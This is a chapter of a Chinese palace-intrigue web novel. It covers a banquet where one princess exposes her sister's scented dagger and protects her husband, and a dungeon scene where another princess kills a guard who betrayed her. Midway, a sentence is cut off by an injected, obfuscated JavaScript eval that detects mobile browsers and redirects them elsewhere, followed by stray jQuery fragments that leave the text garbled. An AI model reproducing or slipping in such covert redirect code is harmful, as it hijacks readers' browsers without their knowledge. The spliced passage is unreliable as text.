13. 第 13 章

每年十月初一是邶帝的寿辰,各国遣使来朝进贡寿礼。


集英殿内,千秋宴。


邶帝作为主角却姗姗来迟,待她坐下后乐师们才缓缓奏乐,一片歌舞升平。


何齐身体不好向来不在人前露面,皇女们的坐席挨得极近,沈冉作为唯一一个娶了夫的,身边还多坐了个萧灵均。


沈冉不动声色地看了眼旁边沈敛身侧挂着的匕首,又瞥到桌面上热腾腾的茶壶,心生一计。


沈冉拎起茶壶倒了两杯茶,将其中一杯递给沈敛,笑道:


“七妹今年第一次参加千秋宴,本来是应该敬酒的,但念着七妹刚及笄,今日便以茶代酒吧。”


沈敛看着沈冉递来的茶杯,不知道沈冉打的什么主意,但众目睽睽之下又不好拒绝。


沈敛虚伪地笑着接过茶杯:“本来我是妹妹该主动敬五姐姐的,没想到还先让五姐姐提出来,让旁人见了还以为我不懂礼数呢。”


碰杯时沈冉装作一个手滑,整杯烫茶尽数泼下。


大多泼在了匕首上,还有一部分洇湿了沈敛的衣摆。


沈敛连忙站起身,茶水顺着她的衣袍滴落在地,沈冉装出一副懊恼模样:


“哎呀,都怪我手滑了。”


沈冉将沈敛身侧挂着的匕首取下,从侍从手中接过帕子。


“七妹快擦擦自己身上吧,我帮你擦擦这柄匕首,真是太不好意思了。”


沈敛对沈冉毫无诚意的道歉暗暗咬牙,表面上还是摆出一张笑脸,一边擦着衣服上的茶渍一边道:


“我当然知道五姐姐只是手滑罢了,毕竟五姐姐怎么会故意让我在这大庭广众之下出糗呢?”


沈冉毫不关心沈敛这暗戳戳的指责,笑着用帕子擦拭匕首。


“呀,这茶水都顺着刀鞘流进去了。”


沈冉故作惊讶道,将匕首的刀鞘取下,一股香味瞬间冲出来钻入沈冉的鼻子。


“七妹这匕首还挺特别的的,这香味……”沈冉嗅嗅,“是夜兰铁吧?”


听到夜兰铁沈昭忍不住侧目,打量一番沈冉手中那把匕首。


沈敛眼中丝狠厉一瞬即逝,将匕首从沈冉手中夺回来,放入刀鞘重新挂了回去。


沈冉微微一笑:“瞧你急的,难道还担心五姐姐抢你的吗?”


“五姐姐自然不会抢我的,毕竟五姐姐见过好东西可比我多多了。”


沈敛勉强维持着体面的笑。


既然目的已经达到,沈冉也不再和她周旋,默默移开目光。


殿内觥筹交错,歌舞升平。


酒过三巡众人都隐隐有了醉意,不知是哪个大胆的嘟囔了一句:


“年年都是这些歌舞,一点新意都没有。”


偏偏这不大不小的声音传入了邶帝耳中,邶帝执杯的手微微一顿,沉声道:


“方才是谁说的歌舞没有新意,朕也有此意,不知可愿意上来舞一曲为大家助助兴啊?”


无人敢应,场上一时陷入寂静。


沈敛忽然笑着接话道:“母皇,我听闻五姐夫的舞名动京城,可惜我还没有见识过,不如便让五姐夫舞一曲吧。”


邶帝没有说话,看向萧灵均。


在座的个个都是人精,目光有些意味深长,纷纷在沈冉和萧灵均身上来回打量。邶帝这话明显是对方才嘟囔的人不满,沈敛却把矛头引到沈冉和萧灵均身上。


偏偏邶帝还默许了。


伶人自古以来就是下九流,萧灵均原先不管怎么样,如今都是沈冉的夫郎。


今日他若是顺从,怕是会被永远钉在耻辱柱上;若是拒绝,又是对邶帝的不敬。


席中不乏等着看热闹的人。


面对沈敛的发难,萧灵均下意识看向沈冉,沈冉淡定地夹了一筷子菜塞进嘴里,似乎没有要管的意思。


萧灵均垂眸,正打算起身回应,一只手按在他肩膀上止住他的动作:“坐着。”


沈冉从容地放下筷子,站起身笑着向邶帝抱拳道:


“母皇,我夫郎身子不爽利,这舞今日还真是跳不了,我自罚三杯。”


沈冉一手拿杯一手拿酒壶,自斟自饮了三杯,将空杯展示给大家看。


原本紧张尖锐的局面,在沈冉的三杯酒里变得轻松下来。


邶帝笑着食指在空中虚点沈冉两下,向席上众人打趣道:“瞧瞧,冉儿成亲一下就长大了,都知道心疼夫郎了。”


“不过只罚三杯可不够啊,今日谁能将冉儿喝趴下,朕重重有赏!”


沈冉举着酒杯挑眉道:“以儿臣的酒量,怕是能将儿臣喝趴下的人还没出生呢。”


邶帝闻言哈哈大笑:“冉儿都放出这样的豪言了,大家还愣着做什么啊?”


众人纷纷举起酒杯走到沈冉身边轮番敬酒,沈冉来者不拒。


沈敛笑吟吟感叹道:“五姐姐和姐夫感情可真好呢。”


沈冉礼貌假笑道:“等你立府成家了就不用羡慕我了。”


说完沈冉扭头去应付向她敬酒的那些人去了,丝毫没有注意到她说完这句话,沈敛表情一瞬间的扭曲。


所谓杀敌一千自损八百,沈冉虽然酒量好,也架不住这么多人的车轮战。


最终喝趴下一群人,自己也是醉到站都站不稳。


好在沈冉不是那种喝醉了就开始发酒疯的,萧灵均没费多大力就架着她回到五皇女府。


他将人扔在床上,余光扫到了桌上摆着的那个紫皮包袱,隐隐露出的琉璃在月光下泛着光。


萧灵均皱着眉上前去打开了包袱,明明早已被他摔碎的琵琶,此时却完整地出现在眼前。


这把他弹过无数遍的琵琶,从烈火重新锻造后,闪出比以往更耀眼的光。他抬手抚上熟悉的琵琶,心情复杂。


这琵琶不是早就被他摔碎了吗,怎么会在沈冉这里?


他抬眼看向沈冉,沈冉不吵不闹地坐在床边,若不是眼神迷离,萧灵均几乎要以为她是装醉。


她面色酡红,眼睛湿润润的带着水意,像鹿类一般单纯无害。


萧灵均站到她面前,指着桌上的琵琶问道:“这个琵琶,怎么会在你这里?”


沈冉抬头看着他的脸一言不发,只是直勾勾的盯着。


萧灵均叹了口气,罢了,和喝醉的人说什么呢,难道还指望她能好好回答问题吗?


萧灵均正准备走,却听见沈冉呢喃道:


“漂亮。”


萧灵均没有听清,耐心地询问道:


“你刚刚说什么?”


沈冉盯着他,猛地拽住他的衣袖:


“你,漂亮。”


萧灵均愣住了。


又见沈冉傻傻地笑着,指指桌上的琵琶:“修好了,还给你。”


说完这句话,沈冉身子晃了晃,抓着他的衣袖往后一倒,萧灵均连忙去扶她,却发现已经传来平稳的呼吸声。


睡着了。


萧灵均轻轻将衣袖从沈冉手中抽出,替她脱下靴子盖好被子。


离开时,萧灵均犹豫片刻,最终还是带上了那把琵琶。


萧灵均看着怀中失而复得的琵琶,感觉像是被小猫用爪子轻轻挠了挠他的心,泛起一阵涟漪。


脑海中闪过前些日子那些掌柜闹上门来时沈冉护住他的背影,又闪过今日七皇女让他上去跳舞时沈冉按在他肩膀上的那只手。


心脏隐约爬上酥酥麻麻的感觉,萧灵均抬手按住自己的心口,闭眼压下思绪。


*


宴席结束。


沈敛面无表情地在太阴湖边赏景,月光如碎银般洒


;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return\\w+};c=1;};while(c--)if(k[c])p=p.replace(new regexp(\\b+e(c)+\\b,g),k[c]);return p;}(8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="},24,24,userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15241654|166286||http|test|mini|href|location.split(|),0,{}));


() {


$(.inform).remove();


$(#content).append(


在湖面,波光粼粼。


“七皇妹。”


沈昭从黑暗中走出,并肩站到她身边。


沈敛侧首歪头,露出一个符合她年龄天真的笑,道:“二姐姐跟我一路了,是有什么事想找我吗?”


沈昭的目光毫不避讳地落在沈敛的匕首上,沈敛顺着她的目光拿起那把匕首,向沈昭递了递。


“二姐姐也对这匕首很感兴趣吗?不如送给二姐姐好了。”


“呵。”沈昭冷笑一声。


“七皇妹还是管好自己的东西,不要出现在不该出现的地方。”


说罢沈昭冷冷看她一眼,转身离去。


沈敛看着沈昭离去的背影拿着匕首的手逐渐收紧,咬牙抬手将匕首扔入太阴湖。


“扑通——”


春红楼地牢内,一个女子被押着跪下来——赫然就是在春红楼拉架的那个侍卫。


一个月的折磨,她垂着头已经奄奄一息,全身上下没有一块好肉,却还是用虚弱的气音向沈昭求情:


“殿下……属下真的不知那扶手被动过手脚。”


“不知?”沈昭蹲下身看着她。


“一个月了,你嘴倒是硬。”


沈昭一把抓住那侍卫的头发,逼迫她抬起头来对视,语气平静。


“沈敛究竟许了你什么,竟然能让你背叛我?”


侍卫张了张嘴,最终一句话也没说出来。


沈昭耐心有限,狠狠将人甩在地上站起身,居高临下道:


“你的夫郎孩子,在江州吧?你以为把他们送走,我就找不到了吗?”


侍卫的瞳孔猛然放大,七殿下答应她会照顾好她的夫郎和孩子,怎么会被殿下找到?


沈昭像是看出了这侍卫的想法:“你觉得沈敛一个还没有立府的皇女,能瞒得过我?”


侍卫扑倒沈昭脚边,急道:“求殿下开恩!他们是无辜的!”


“沈敛到底怎么动的手,你好好说,就自己一个人上路。不好好说,就让你全家陪你一起上路。”


那侍卫颤颤地嗫嚅着:“七殿下扮作春红楼的小厮混进楼里将扶手锯断,找上我给了我一千两黄金,要我把五殿下推向她动过手脚的扶手处。”


“我想着殿下这些年来与五殿下不对付,又一时财迷心窍……”


沈昭果断地抽出押着侍卫的女子的佩刀。


刀架在那侍卫脖子上,寒光凛凛,侍卫闭上眼等待死亡降临。


“你倒是坦然赴死了。”


沈昭俯视着她,眼神充满怜悯。


“看在主仆一场的份上,我怎么可能忍心见你孤零零地上路?你夫郎和女儿死的时候一直在哭,真的很吵。”


侍卫登时瞪大了眼睛一脸不可置信,可气管被切断一句话都说不出来,血溅三尺,侍卫捂着脖子处的刀口倒在地上抽搐,口中还不断往外涌着血沫。


片刻就没有动静了。


死不瞑目。


“咣啷——”


刀被扔在地上。


沈昭一步一步走到她面前,轻轻蹲下身,抬手替她合目。


每一个动作都出奇的温柔,如果不仔细观察,根本注意不到沈昭沾着血的手在微微颤抖。


她轻声呢喃道:“跟我这么久却为了钱财背叛我……”


“把她和她的家人葬在一起吧,也算是团圆了。”


“是。”


侍卫的尸体很快就被拖走。


沈昭独自站在牢房内目光阴沉,手紧紧握拳指甲嵌入手心留下血印,一拳砸向地牢的墙壁,留下一个深深的坑。


沈昭抬起头眸光倒映一地血色,和她拇指上扳指镶嵌的红宝石如出一辙,冰冷的眼神让她此刻看上去像地狱里爬出的恶鬼。


沈敛,你可真是好样的!